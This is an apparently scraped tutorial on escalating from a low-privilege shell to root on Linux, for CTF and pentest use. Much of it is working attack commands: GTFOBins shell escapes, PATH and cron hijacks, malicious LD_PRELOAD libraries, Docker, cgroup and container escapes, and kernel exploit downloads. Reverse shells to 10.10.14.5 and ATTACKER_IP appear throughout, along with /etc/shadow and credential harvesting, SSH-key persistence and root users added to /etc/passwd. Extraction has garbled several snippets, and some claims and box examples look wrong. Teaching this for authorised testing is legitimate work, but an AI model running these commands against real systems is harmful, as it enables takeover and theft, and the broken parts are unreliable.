kavklaw@llm $ sudo -l
From Low-Privilege Shell to Root, a Systematic Methodology
This guide assumes you already have a low-privilege shell on the target Linux machine (via a web exploit, SSH, reverse shell, etc.). If you need help getting that initial foothold, see the Reverse Shells & File Transfers guide.
Tools to have ready on your attacker machine (for transfer to the target):
You don't install these on your attacker machine — you download them and transfer them to the target as needed. Keep a privesc/ folder in your toolkit with these files ready to go. The simplest transfer: host a Python HTTP server on your machine (python3 -m http.server 8000) and wget or curl from the target.
You've gotten initial access to a Linux box, maybe through a web shell, SSH with stolen credentials, or an exploit. But you're logged in as www-data, apache, or some low-privilege user. Privilege escalation (going from a low-permission user to root/admin) is the process of going from that limited account to root.
In CTFs, the goal is usually to read /root/root.txt. In real-world pentesting, root access means you own the machine: install backdoors, pivot to other systems, access all data, and control the entire server.
The key insight about Linux privesc: it's almost always a misconfiguration, not a software exploit. The sysadmin left something writable, ran something as root that shouldn't be, or forgot to remove an old SUID binary (a file that runs with the owner's permissions instead of yours). Your job is to methodically check every possible vector until you find it.
Every file and directory on Linux has three sets of permissions: owner (u), group (g), and other (o — everyone else). Each set has three bits: read (r), write (w), and execute (x). When you see -rwxr-xr--, that means: the owner can read/write/execute, the group can read/execute, and everyone else can only read.
Beyond these basic permissions, there are special bits that are the bread and butter of privilege escalation:
passwd (which needs root access to update /etc/shadow), but becomes dangerous on custom or misconfigured binaries that allow shell escapes./tmp, prevents users from deleting each other's files. Not directly exploitable but good to understand.Most privilege escalation comes down to this: finding places where the permission model has a gap — a file that's writable when it shouldn't be, a program that runs as root when it doesn't need to, or a special bit that grants more access than intended.
If you want a fast win, run these commands immediately upon landing on a box. The first three check for common misconfigurations that give you root access directly. The fourth runs an automated script that checks everything at once.
The Big Three — check these first, they solve 60%+ of CTF boxes:
sudo -l # What can you run as root?
find / -perm -4000 2>/dev/null # SUID binaries
cat /etc/crontab # Cron jobs
Then run LinPEAS for automated enumeration:
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
┌──────────────────────────────────────────────────────────────┐
│ LINUX PRIVILEGE ESCALATION FLOW │
├──────────────────────────────────────────────────────────────┤
│ │
│ Low-Privilege Shell (www-data, user, etc.) │
│ │ │
│ ▼ │
│ sudo -l ──────────── Found entry? ──▶ GTFOBins ──▶ ROOT │
│ │ nothing │
│ ▼ │
│ SUID binaries ────── Custom binary? ──▶ strings/ltrace │
│ │ nothing │ │
│ │ └──▶ PATH hijack ──▶ ROOT │
│ ▼ │
│ Capabilities ─────── cap_setuid? ──▶ setuid(0) ──▶ ROOT │
│ │ nothing │
│ ▼ │
│ Cron jobs ────────── Writable script? ──▶ Inject ──▶ ROOT │
│ │ nothing │ │
│ │ └──▶ Wildcard? ──▶ Tar trick │
│ ▼ │
│ Passwords ────────── Config files / history / reuse │
│ │ nothing │
│ ▼ │
│ Kernel exploit ───── Last resort (PwnKit, DirtyPipe) │
│ │
└──────────────────────────────────────────────────────────────┘
Here's the order you should check things. This isn't random. It's organized from most likely to least likely based on hundreds of CTF boxes and real engagements:
The sudo -l command shows what you can run as root (or another user) without needing root's password. This is the most common privesc vector in CTFs.
$ sudo -l
Matching Defaults entries for user on target:
env_reset, mail_badpass
User user may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3
(ALL) NOPASSWD: /usr/bin/find
When you see a binary listed, immediately check GTFOBins (Get The F*** Out Bins), a curated database of Unix binaries that can be exploited for privilege escalation. The idea is simple: many legitimate programs have features (like running shell commands or reading files) that become dangerous when run as root.
Each of these exploits works because the program has a built-in feature to run shell commands. When you run the program with sudo, that shell command inherits root privileges:
# ─── vim ──────────────────────────────────
sudo vim -c '!bash' # -c runs a command on startup; !bash escapes to a shell
# ─── python3 ─────────────────────────────
sudo python3 -c 'import os; os.system("/bin/bash")'
# ─── find ────────────────────────────────
sudo find / -exec /bin/bash \; -quit
# ─── less ────────────────────────────────
sudo less /etc/passwd # Then type: !bash
# ─── awk ─────────────────────────────────
sudo awk 'BEGIN {system("/bin/bash")}'
# ─── nmap (old versions with interactive) ─
sudo nmap --interactive # Removed in modern Nmap versions
# Note: --interactive was removed in modern Nmap versions
!bash
# ─── nmap (newer — script engine) ────────
# Note: NSE scripts require a proper rule/action format to work
echo 'os.execute("/bin/bash")' > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
# ─── perl ────────────────────────────────
sudo perl -e 'exec "/bin/bash";'
# ─── ruby ────────────────────────────────
sudo ruby -e 'exec "/bin/bash"'
# ─── env ─────────────────────────────────
sudo env /bin/bash
# ─── tar ─────────────────────────────────
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# ─── zip ─────────────────────────────────
sudo zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
Custom scripts: If sudo lets you run a script, check if:
Check for env_keep (preserved environment variables) in the sudo -l output. Normally, sudo clears your environment for security. But if it "keeps" certain variables, you can abuse them. Look for env_keep += LD_PRELOAD or env_keep += LD_LIBRARY_PATH — these control which shared libraries (reusable code modules) get loaded when a program starts.
LD_PRELOAD exploitation — if env_keep includes LD_PRELOAD, you can force any sudo-allowed program to load your malicious library before anything else:
# ─── LD_PRELOAD exploitation ────────────
cat > /tmp/shell.c << 'EOF'
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/any_allowed_binary
LD_LIBRARY_PATH exploitation — similar concept, but you replace a library the binary loads:
ldd /usr/bin/allowed_binary # See what libraries it uses
# Then create a malicious version of one of those libraries
💡 Pro tip: Ifsudo -lsays(ALL : ALL) NOPASSWD: ALL, just runsudo bash— you're already root. This is rare in CTFs but common in misconfigured development environments.
SUID (Set User ID) binaries run with the permissions of the file owner regardless of who executes them. If a binary is owned by root and has the SUID bit set, it runs as root when any user executes it. SGID (Set Group ID) is the same concept but for group permissions instead of user permissions.
# Find all SUID binaries (-perm -4000 matches the SUID permission bit)
find / -perm -4000 -type f 2>/dev/null
# Find all SGID binaries (-perm -2000 matches the SGID permission bit)
find / -perm -2000 -type f 2>/dev/null
# Find both
find / -perm /6000 -type f 2>/dev/null
# Common output:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/local/bin/backup
/opt/scripts/runner
How to interpret SUID results:
/usr/bin/passwd, /usr/bin/sudo, /usr/bin/mount, /usr/bin/su — standard system binaries, heavily hardened/usr/bin/pkexec — CVE-2021-4034 (PwnKit)/usr/local/bin/backup, /opt/scripts/runner — custom binaries, investigate immediately!Standard binaries — check GTFOBins for each:
# If /usr/bin/find is SUID:
find / -exec /bin/bash -p \; -quit # -p preserves the effective UID (root)
# If /usr/bin/python3 is SUID:
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# If /usr/bin/cp is SUID — copy /etc/passwd, add a root user, copy it back:
cp /etc/passwd /tmp/passwd.bak
echo "hacker:$(openssl passwd -1 password123):0:0::/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su hacker # password: password123
Custom/unknown binaries — investigate what they do. strings extracts readable text from a binary (revealing hardcoded commands and paths). ltrace traces library function calls (like system()). strace traces system calls (file opens, network connections):
strings /usr/local/bin/backup # Look for: system(), exec(), file paths, command names
ltrace /usr/local/bin/backup 2>&1 # Library calls — look for system("cat /etc/shadow")
strace /usr/local/bin/backup 2>&1 # System calls — what files and sockets does it access?
If a SUID binary calls a command without a full path (e.g., strings shows it calls curl instead of /usr/bin/curl):
# Create a malicious version of that command
echo '#!/bin/bash' > /tmp/curl
echo 'bash -p' >> /tmp/curl
chmod +x /tmp/curl
# Prepend /tmp to PATH and run the SUID binary
export PATH=/tmp:$PATH
/usr/local/bin/backup
# → root shell!
sudo -l and see: (ALL) NOPASSWD: /usr/bin/find. What command gives you a root shell?find command with -exec can execute any command. When run via sudo, the executed command inherits root privileges. sudo find / -exec /bin/bash \; -quit spawns a root shell. The -quit makes find exit after the first match. GTFOBins documents these shell escapes for dozens of common binaries.strings on it shows it calls curl without an absolute path. How do you exploit this?curl instead of /usr/bin/curl), Linux searches PATH directories in order. By creating a malicious script named curl in /tmp (containing bash -p) and setting PATH=/tmp:$PATH, the SUID binary finds your fake curl first and executes it with root privileges.find / -perm -4000 -type f 2>/dev/null searches the entire filesystem (/) for files (-type f) with the SUID bit set (-perm -4000). The 2>/dev/null suppresses "Permission denied" errors. The SUID bit (4000) means the file runs with the owner's permissions — if owned by root, it runs as root regardless of who executes it.SUID is an all-or-nothing approach: a binary either runs as root or it doesn't. Linux capabilities solve this by splitting "root power" into ~40 individual privileges. Instead of making a binary SUID root, an admin can grant just the specific capability it needs. For example, a network monitoring tool might only need cap_net_raw (capture packets) without needing full root access. The idea is good — principle of least privilege — but in practice, some capabilities are just as dangerous as full root.
The key capabilities to look for: cap_setuid lets a program change its user ID (meaning it can become root), cap_dac_read_search lets it bypass file read permissions (read any file on the system), and cap_net_raw lets it capture network traffic (sniff cleartext credentials). If you find any of these on a binary you can run, you likely have a path to root.
The following command searches the entire filesystem for binaries that have any capabilities set. The -r flag means recursive, and 2>/dev/null hides "permission denied" errors.
getcap -r / 2>/dev/null
Dangerous capabilities to look for:
cap_setuid+ep — can change UID → root (python3, perl, vim, openssl)cap_dac_read_search — can read any file on the systemcap_net_raw — can capture network traffic (sniff credentials)# ─── cap_setuid exploitation ─────────────
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # Python
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' # Perl
# ─── cap_dac_read_search (tar example) ───
tar -czf /tmp/shadow.tar.gz /etc/shadow
cd /tmp && tar -xzf shadow.tar.gz
cat etc/shadow
# ─── cap_net_raw ─────────────────────────
tcpdump -i any -w /tmp/capture.pcap
Cron jobs are scheduled tasks (like a timer that runs a script every minute, hour, or day). If root runs a cron job that references a file you can write to, you can inject commands that execute as root.
# Check system crontab
cat /etc/crontab
# Check cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
cat /etc/cron.d/*
# Check user crontabs
crontab -l # Your crontab
ls -la /var/spool/cron/crontabs/ # All user crontabs (need permissions)
Writable script exploit: The five * fields in a cron entry represent: minute, hour, day-of-month, month, day-of-week. * * * * * means "every minute." If a cron entry runs a script you can write to (e.g., * * * * * root /opt/scripts/backup.sh):
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /opt/scripts/backup.sh
# Wait for cron to execute → root reverse shell
Tar wildcard injection: If a cron entry uses a wildcard (e.g., * * * * * root cd /home/user && tar czf /tmp/backup.tar.gz *):
echo "" > "/home/user/--checkpoint=1"
echo "" > "/home/user/--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/9001 0>&1' > /home/user/shell.sh
Some cron jobs don't appear in /etc/crontab. The tool pspy watches for new processes as they start, letting you see what root is running even when you can't read the cron configuration files. The -pf flag monitors both processes and file events, and -i 1000 checks every 1000 milliseconds (1 second).
# pspy monitors processes without root privileges
# Download and transfer to target
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64 -pf -i 1000
# Watch for processes run by UID=0 (root)
# Example output:
# CMD: UID=0 PID=1234 | /bin/bash /opt/cleanup.sh
# CMD: UID=0 PID=1235 | python3 /root/scripts/monitor.py
# Now you know what root is running — check if you can modify those files
💡 Pro tip:pspyis invaluable because some cron jobs aren't listed in/etc/crontab. User-level crontabs (crontab -e), systemd timers, and at jobs won't show up in the system crontab but pspy catches them all.
PATH hijacking works like this: when a program runs a command like curl without specifying the full path (/usr/bin/curl), Linux searches through your PATH directories in order to find it. If you can put a malicious script named curl in a directory that gets searched first, your script runs instead of the real one.
These commands help you find files and directories that you can write to, which you shouldn't normally be able to modify.
# Find writable files owned by root
find / -writable -type f 2>/dev/null | grep -v proc
# Find writable directories in PATH
echo $PATH | tr ':' '\n'
ls -la /usr/local/sbin/
ls -la /usr/local/bin/
# World-writable directories
find / -writable -type d 2>/dev/null
# Files with write permission for your group
find / -group $(id -gn) -writable 2>/dev/null
# Check if any running service uses a writable config/script
systemctl list-unit-files --type=service | grep enabled
cat /etc/systemd/system/*.service # Check ExecStart paths
If you can write to any PATH directory, you can plant malicious binaries that get executed instead of the real ones.
Services bound to 127.0.0.1 (localhost) aren't accessible from the outside. They're only reachable from the machine itself. But since you're on the machine now, you can interact with them. These often have weaker security (no password, default config) because the sysadmin assumed nobody external could reach them.
Use ss (socket statistics) to list all listening ports. The -t flag shows TCP, -l shows only listening sockets, -n shows port numbers instead of names, and -p shows which process owns each socket.
ss -tlnp # TCP listeners
ss -ulnp # UDP listeners
netstat -tlnp 2>/dev/null # Older systems
Common internal services to try:
127.0.0.1:3306 → MySQL/MariaDB — try root with no password127.0.0.1:5432 → PostgreSQL127.0.0.1:8080 → Internal web app (might have admin panel)127.0.0.1:6379 → Redis (often no auth)mysql -u root -h 127.0.0.1
psql -U postgres -h 127.0.0.1
curl http://127.0.0.1:8080
redis-cli -h 127.0.0.1
# Port forward to your machine to access web UIs
ssh -R 8080:127.0.0.1:8080 [email protected]
You'd be amazed how often passwords are just lying around in config files, scripts, and history:
Configuration files:
cat /var/www/html/config.php
cat /var/www/html/wp-config.php # WordPress DB creds
cat /var/www/html/.env # Laravel/Node.js env
cat /etc/mysql/my.cnf # MySQL config
cat /etc/postgresql/*/main/pg_hba.conf # PostgreSQL auth config
cat /opt/*/config* 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
History files — look for passwords in commands, mysql -u root -p'password', sshpass:
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.python_history
cat /home/*/.bash_history 2>/dev/null
Environment variables — applications sometimes pass DB_PASSWORD, API_KEY, etc.:
env
printenv
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'
SSH keys — found a private key? Use it:
find / -name "id_rsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
chmod 600 id_rsa
ssh -i id_rsa root@localhost
Grep for passwords:
grep -rn "password" /var/www/ 2>/dev/null
grep -rn "passwd" /etc/ 2>/dev/null
grep -rn "DB_PASS\|DB_PASSWORD\|MYSQL_PASSWORD" /var/www/ 2>/dev/null
.git directories — check git logs for committed passwords:
find / -name ".git" -type d 2>/dev/null
cd /found/.git/.. && git log --all --oneline
git show <commit_hash>
git diff HEAD~5
💡 Pro tip: Password reuse is incredibly common. Found a database password? Try it as the root password: su root. Found credentials for one user? Try them for every user on the system. Humans are lazy — the same password gets used everywhere.
/etc/crontab: * * * * * root cd /home/user && tar czf /tmp/backup.tar.gz *. What makes this exploitable?tar encounters *, the shell expands it to all filenames in the directory. If you create files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh, tar interprets them as command-line options, not filenames. This causes tar to execute your shell.sh as root when the cron job runs. Always check for wildcards in cron jobs running as root.pspy important for Linux privilege escalation enumeration?pspy watches /proc for new processes as they spawn, capturing commands run by any user including root. This is important because many cron jobs are stored in user-level crontabs (not /etc/crontab), systemd timers, or at jobs — none of which you can read as a low-privilege user. pspy reveals them all by detecting the actual process execution.NFS (Network File System) lets you access files on a remote machine as if they were local. Normally, NFS "squashes" root access, meaning even if you're root on your machine, you won't be root on the shared folder. But if the config has no_root_squash, files you create as root on your machine are treated as root on the server too. This means you can create an SUID shell on the share and then run it from the target to get root.
# On target — check NFS exports
cat /etc/exports
# /srv/share *(rw,sync,no_root_squash) ← Vulnerable!
# no_root_squash means root on the client = root on the share
# On attacker machine:
showmount -e target_ip
mkdir /tmp/nfs
mount -t nfs target_ip:/srv/share /tmp/nfs
# Create a SUID shell as root (on your machine):
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
# On target:
/srv/share/rootbash -p
# → root shell!
Docker is a tool that runs lightweight virtual machines called containers. If your user is in the docker group, you can escalate to root because Docker lets you mount the real (host) filesystem inside a container where you have full root access. From there, you can read any file, add SSH keys, or modify system files.
# Check if you're in the docker group
id
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker)
# Mount the host root filesystem
docker run -v /:/host -it ubuntu bash
# Inside the container:
chroot /host
# → root on the host!
# Alternative — if docker images aren't available:
docker run -v /:/host -it alpine sh
cat /host/etc/shadow
cat /host/root/root.txt
# Can also add SSH key for persistence:
mkdir -p /host/root/.ssh
echo "your_public_key" >> /host/root/.ssh/authorized_keys
Similar to Docker group abuse — if you're in the lxd group, you can mount the host filesystem:
# Check group membership
id
# groups=...,108(lxd)
# On attacker — build a minimal Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# Transfer the .tar.gz to target
# On target:
lxc image import alpine-v3.18-x86_64.tar.gz --alias myalpine
lxc init myalpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
# Inside container:
cd /mnt/root/root
cat root.txt
Kernel exploits are powerful but risky. They can crash the system. Use them only after exhausting all other vectors.
# Gather kernel information
uname -a # Kernel version
cat /etc/os-release # OS version
cat /proc/version # Detailed version info
Common kernel exploits:
# ─── PwnKit (CVE-2021-4034) ─────────────
# Almost always works on unpatched systems
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit # → root
# ─── DirtyPipe (CVE-2022-0847) ───────────
# Linux 5.8+ to 5.16.11
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o exploit
./exploit # Overwrites /etc/passwd to add root user
# ─── Baron Samedit (CVE-2021-3156) ──────
# sudo versions 1.8.2 through 1.9.5p1
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes (segfault), it's vulnerable
# Use the compiled exploit from GitHub
# ─── Automated exploit suggestion ────────
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
# Linux Exploit Suggester 2 (Python)
python3 linux-exploit-suggester-2.py
💡 Pro tip: PwnKit (CVE-2021-4034) is your best friend. It works on almost every Linux distribution released before 2022 that has pkexec installed (which is most of them). It's reliable, doesn't crash the system, and gives you instant root. Always try it before more destructive kernel exploits.
One-liner download and run:
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
Or transfer and run manually:
# On attacker:
python3 -m http.server 8000
# On target:
wget http://10.10.14.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
LinPEAS checks everything: sudo permissions, capabilities, SUID/SGID binaries, cron jobs, writable files, Docker/LXD, kernel CVEs, password files, SSH keys, network info, active services, and environment variables.
Color coding:
# Older but still useful
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t # -t for thorough tests
# Tiered verbosity — shows only relevant info
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1 # Level 0=minimal, 1=interesting, 2=everything
# Box: Lame (HTB Easy)
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Check GTFOBins for vim:
sudo vim -c '!bash'
# → root shell
# Box: Cronos (HTB Medium)
$ cat /etc/crontab
* * * * * root php /var/www/laravel/artisan schedule:run
$ ls -la /var/www/laravel/artisan
-rwxrwxrwx 1 www-data www-data 1234 Jan 1 00:00 artisan
# We can write to the file that root's cron executes!
$ echo '<?php system("chmod +s /bin/bash"); ?>' > /var/www/laravel/artisan
# Wait 1 minute...
$ /bin/bash -p
# → root
# Custom SUID binary found
$ find / -perm -4000 2>/dev/null
/usr/local/bin/sysinfo
$ strings /usr/local/bin/sysinfo
...
system("cat /etc/hostname")
system("df -h")
system("free -m")
...
# "df" is called without full path!
$ echo '#!/bin/bash\nbash -p' > /tmp/df
$ chmod +x /tmp/df
$ export PATH=/tmp:$PATH
$ /usr/local/bin/sysinfo
# → root (because /tmp/df ran instead of /usr/bin/df)
$ id
uid=1000(user) gid=1000(user) groups=1000(user),999(docker)
$ docker run -v /:/host -it alpine sh
# Inside container:
/ # cat /host/root/root.txt
f1a2b3c4d5e6f7a8b9c0...
/usr/bin/passwd, /usr/bin/mount, /usr/bin/su are SUID by design. They're heavily hardened. Move on.uname -a shows a recent kernel, kernel exploits are unlikely. Check the date — anything after 2023 probably has PwnKit patched./etc/shadow.python3 -c 'import pty;pty.spawn("/bin/bash")')sudo -l, id, uname -a, cat /etc/crontabsudo -l or use su. Always upgrade to a full TTY first./bin/bash -p. Without -p, bash drops privileges.Containers are everywhere in modern infrastructure. A container is like a lightweight sandbox, but it's not a perfect jail. Escaping from a container to the host machine is an important privesc path. If you find yourself inside a Docker container (or if the target user has Docker access), these techniques can give you root on the underlying host.
┌─────────────────────────────────────────────┐
│ Host OS (Linux) │
│ ┌───────────────┐ ┌───────────────┐ │
│ │ Container A │ │ Container B │ │
│ │ (your shell) │ │ (other app) │ │
│ │ │ │ │ │
│ │ Can you │ │ │ │
│ │ escape? ─────┼──┼───────────────┼──▶ ROOT on host
│ └───────────────┘ └───────────────┘ │
└─────────────────────────────────────────────┘
Signs you're inside a Docker container:
ls -la /.dockerenv # This file exists in Docker containers
cat /proc/1/cgroup | grep docker # Cgroup shows "docker" in the path
hostname # Often a random hex string (e.g., a1b2c3d4e5f6)
cat /proc/1/sched | head -1 # PID 1 is NOT init/systemd — it's the app
Signs you're in an LXC/LXD container:
cat /proc/1/cgroup | grep lxc
ls -la /dev/lxd/
If the Docker socket (/var/run/docker.sock) is mounted inside the container, you have full control over Docker on the host — which means root on the host.
# Check if Docker socket is accessible
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan 1 00:00 /var/run/docker.sock
# If accessible, use it to mount the host filesystem:
# Method 1: Using docker CLI (if installed in container)
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
# Method 2: Using curl if docker CLI isn't available
# List images:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool
# Create a container with host filesystem mounted:
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \
http://localhost/containers/create
# Start the container:
curl -s --unix-socket /var/run/docker.sock -X POST \
http://localhost/containers/CONTAINER_ID/start
# Execute commands in it:
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"Cmd":["cat","/host/etc/shadow"]}' \
http://localhost/containers/CONTAINER_ID/exec
If you're on the host (not inside a container) and your user is in the docker group, you effectively have root access:
# Check group membership
id
# groups=...,999(docker)
# Method 1: Mount host filesystem
docker run -v /:/host -it alpine chroot /host bash
# Method 2: Use --pid=host to access host processes
docker run --pid=host --privileged -it alpine nsenter -t 1 -m -u -i -n bash
# nsenter enters the namespace of PID 1 (host init) → full host root shell
# Method 3: Add SSH key for persistence
docker run -v /root:/mnt -it alpine sh -c 'echo "YOUR_PUBLIC_KEY" >> /mnt/.ssh/authorized_keys'
ssh root@target
If a container was started with --privileged, it has nearly all host capabilities. You can escape by mounting the host filesystem through device access:
# Check if privileged
cat /proc/self/status | grep CapEff
# If CapEff shows many capabilities (e.g., 0000003fffffffff), you're privileged
# Find the host filesystem device
fdisk -l 2>/dev/null
# Or: lsblk, or cat /proc/partitions
# Look for: /dev/sda1 or /dev/xvda1
# Mount the host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
cat /mnt/host/root/root.txt
# Get a proper host shell via chroot:
chroot /mnt/host bash
# Alternative: Use cgroups to escape
# Create a cgroup notification script that runs on the host:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# → Reverse shell on the HOST
# If you can access host's PID namespace (--pid=host):
nsenter -t 1 -m -u -i -n bash
# -t 1 = target PID 1 (host's init process)
# -m = mount namespace
# -u = UTS namespace (hostname)
# -i = IPC namespace
# -n = network namespace
# Result: full root shell in the host's namespaces
GTFOBins is great, but it focuses on direct shell escapes. "Living off the land" goes broader, using existing system binaries in creative ways for privilege escalation, data exfiltration, and persistence. These techniques are especially valuable when you can't upload new tools.
# Read files you shouldn't be able to (if python has capabilities/SUID)
python3 -c "print(open('/etc/shadow').read())"
# Spawn a root shell (if python has cap_setuid)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Create a web server for data exfiltration
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0',8080), http.server.SimpleHTTPRequestHandler).serve_forever()"
# Reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Read environment variables of other processes (if permissions allow)
python3 -c "import os; [print(open(f'/proc/{pid}/environ').read().replace(chr(0),chr(10))) for pid in os.listdir('/proc') if pid.isdigit()]" 2>/dev/null
# Spawn shell
perl -e 'exec "/bin/bash";'
# With setuid capability
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Read arbitrary files
perl -e 'open(F,"/etc/shadow");while(){print}'
# Reverse shell
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
# Execute commands
awk 'BEGIN {system("/bin/bash")}'
# Read files line by line with processing
awk '{print}' /etc/shadow
# Network operations (connect back)
awk 'BEGIN {
s = "/inet/tcp/0/10.10.14.5/4444"
while (1) {
printf "> " |& s
if ((s |& getline cmd) <= 0) break
while ((cmd |& getline result) > 0)
print result |& s
close(cmd)
}
}'
# Shell escape
vim -c '!bash'
# Within vim
:!bash
:shell
:set shell=/bin/bash
:shell
# Read files (useful when cat is restricted)
vim /etc/shadow
# Or: vim -c ':e /etc/shadow' -c ':w /tmp/shadow_copy' -c ':q'
# Write files (bypass file permission with sudo vim)
# Open any file as root → :w to save anywhere
# find with -exec
find / -exec /bin/bash -p \; -quit
find . -exec /bin/sh \; -quit
# tar — checkpoint action
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# tar — extract with path traversal (overwrite files as root)
# Create a malicious tar that extracts to /etc/cron.d/
tar -cf backdoor.tar --absolute-names /etc/cron.d/backdoor
# zip — test command execution
zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
# cp — if SUID, copy sensitive files
cp /etc/shadow /tmp/shadow_readable
chmod 644 /tmp/shadow_readable
If /etc/passwd is writable (a misconfiguration), you can add a new user with UID 0 (root equivalent) directly. This is a straightforward and reliable privilege escalation technique.
# Check if /etc/passwd is writable
ls -la /etc/passwd
# -rw-rw-rw- 1 root root 1234 Jan 1 00:00 /etc/passwd ← Writable!
# Step 1: Generate a password hash
openssl passwd -1 -salt xyz password123
# Output: $1$xyz$abcdefghij123456789
# Or use Python:
python3 -c "import crypt; print(crypt.crypt('password123', '\$6\$salt\$'))"
# Step 2: Append a root-equivalent user to /etc/passwd
echo 'hacker:$1$xyz$abcdefghij123456789:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
# Format: username:password_hash:UID:GID:comment:home:shell
# UID 0 = root privileges
# GID 0 = root group
# Step 3: Switch to the new user
su hacker
# Password: password123
# → root shell!
# Alternative: Replace root's password hash
# Copy the file, edit it, replace it:
cp /etc/passwd /tmp/passwd.bak
# Edit root's line to include your hash (replace the 'x' with your hash)
# root:$1$xyz$abcdefghij123456789:0:0:root:/root:/bin/bash
cp /tmp/passwd.bak /etc/passwd
# Note: Modern systems store hashes in /etc/shadow, and /etc/passwd
# has 'x' as a placeholder. But if you PUT a hash in /etc/passwd,
# it takes priority over /etc/shadow on most systems!
If sudo -l shows that LD_PRELOAD is preserved in the environment (via env_keep), you can inject a malicious shared library (a .so file, similar to a .dll on Windows) that executes before the legitimate program, giving you a root shell.
LD_PRELOAD is an environment variable that tells the system's dynamic linker (the part of Linux that loads libraries when a program starts) to load your specified library before any others. When combined with sudo, your malicious library runs with root privileges. Don't worry if this feels complex. The key idea is simple: you trick a root-level process into loading your code first.
# Step 1: Verify LD_PRELOAD is preserved
sudo -l
# Matching Defaults entries:
# env_keep += LD_PRELOAD ← This is what you need
# Step 2: Create a malicious shared library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
// Clean up the environment variable to avoid infinite loops
unsetenv("LD_PRELOAD");
// Set UID and GID to root
setresuid(0, 0, 0);
setresgid(0, 0, 0);
// Spawn a root shell
system("/bin/bash -p");
}
EOF
